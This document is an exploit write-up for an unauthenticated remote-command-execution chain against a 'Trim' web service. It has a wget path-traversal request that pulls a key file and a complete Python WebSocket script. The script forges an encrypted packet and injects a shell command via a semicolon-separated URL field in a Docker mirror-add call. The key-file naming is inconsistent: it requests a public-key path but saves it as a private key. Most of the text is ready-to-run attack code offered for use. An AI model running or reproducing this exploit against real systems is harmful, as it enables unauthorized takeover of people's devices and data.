Target: 10.10.10.10

Vulnerability Chain Overview:

Step 1 -- Path Traversal to Read RSA Private Key

Use wget "https://10.10.10.10:8000/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_public_key.pem" -O rsa_private_key.pem --no-check-certificate to extract the RSA private key.

Step 2 -- Exploit Private Key to Forge Encrypted WebSocket Channel and Execute Commands

                
import websocket
import json
import time
import base64
import argparse
import sys
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_v1_5, AES
from Cryptodome.Util.Padding import pad
from Cryptodome.Random import get_random_bytes

# --- Target Configuration ---
TARGET_URL = "ws://10.10.10.10:8000/websocket?type=main"

CMD_TO_EXECUTE = ""

EXPLOIT_PAYLOAD_URL = f"http://10.10.10.10:8000 ; {CMD_TO_EXECUTE} ; /usr/bin/echo "

class TrimEncryptedExploit:
    def __init__(self):
        self.ws = None
        self.si = ""
        self.server_pub_key = ""
        self.step = 0

    def get_reqid(self):
        return str(int(time.time() * 100000))

    def create_encrypted_packet(self, inner_json_dict):
        """Construct { "req": "encrypted", ... } packet"""
        try:
            # 1. Generate temporary AES-256 Key and IV
            aes_key = get_random_bytes(32)
            aes_iv = get_random_bytes(16)

            # 2. Serialize inner payload
            inner_data = json.dumps(inner_json_dict, separators=(',', ':')).encode('utf-8')

            # 3. AES encrypt payload (CBC + PKCS7 Padding)
            cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
            encrypted_body = cipher_aes.encrypt(pad(inner_data, AES.block_size))

            # 4. RSA encrypt AES Key (using server public key)
            rsa_key_obj = RSA.import_key(self.server_pub_key)
            cipher_rsa = PKCS1_v1_5.new(rsa_key_obj)
            encrypted_aes_key = cipher_rsa.encrypt(aes_key)

            # 5. Assemble final packet
            wrapper = {
                "req": "encrypted",
                "iv": base64.b64encode(aes_iv).decode('utf-8'),
                "rsa": base64.b64encode(encrypted_aes_key).decode('utf-8'),
                "aes": base64.b64encode(encrypted_body).decode('utf-8')
            }

            return json.dumps(wrapper, separators=(',', ':'))

        except Exception as e:
            print(f"Encryption failed: {e}")
            return None

    def on_open(self, ws):
        print(f"\n[1/2] Connection established, requesting public key...")
        payload = {
            "reqid": self.get_reqid(),
            "req": "util.crypto.getRSAPub"
        }
        ws.send(json.dumps(payload))
        self.step = 1

    def on_message(self, ws, message):
        try:
            if message.startswith('{'):
                data = json.loads(message)
            elif message.find('{') > -1:
                data = json.loads(message[message.find('{'):])
            else:
                return

            # --- Step 1: Obtain public key and SI ---
            if self.step == 1 and "pub" in data:
                self.server_pub_key = data["pub"]
                self.si = str(data["si"])
                print(f" [1/2] Handshake successful")
                print(f"    SI: {self.si}")
                print(f"    Pub Key obtained ({len(self.server_pub_key)} bytes)")

                # --- Step 2: Send encrypted exploit ---
                self.send_exploit(ws)
                self.step = 2
                return

            # --- Step 2: Receive result ---
            if self.step == 2:
                print(f"\n [2/2] Response:\n{json.dumps(data, indent=2)}")

                if data.get("result") == "succ" or data.get("errno") == 0:
                    print(f"\n[+] Exploit successful! Command sent via encrypted channel.")
                    print(f"[+] Check server: {CMD_TO_EXECUTE}")
                else:
                    print(f"\n[-] Exploit failed, error code: {data.get('errno')}")

                ws.close()

        except Exception as e:
            print(f" Exception: {e}")
            ws.close()

    def send_exploit(self, ws):
        print(f"\n[*] Constructing encrypted exploit packet...")
        print(f"[*] Injected command: {CMD_TO_EXECUTE}")

        inner_payload = {
            "req": "appcgi.dockermgr.systemMirrorAdd",
            "reqid": self.get_reqid(),
            "url": EXPLOIT_PAYLOAD_URL,
            "name": "EncryptedExploit",
            "si": self.si
        }

        print(f"[*] Inner payload: {json.dumps(inner_payload)}")

        packet = self.create_encrypted_packet(inner_payload)

        if packet:
            print(f"[>] Sending encrypted packet (Len: {len(packet)})...")
            ws.send(packet)

    def run(self):
        self.ws = websocket.WebSocketApp(TARGET_URL,
                                         on_open=self.on_open,
                                         on_message=self.on_message)
        self.ws.run_forever()

if __name__ == "__main__":
    print("=== Trim Protocol Encrypted Channel Unauthenticated RCE Exploit ===")
    exploit = TrimEncryptedExploit()
    exploit.run()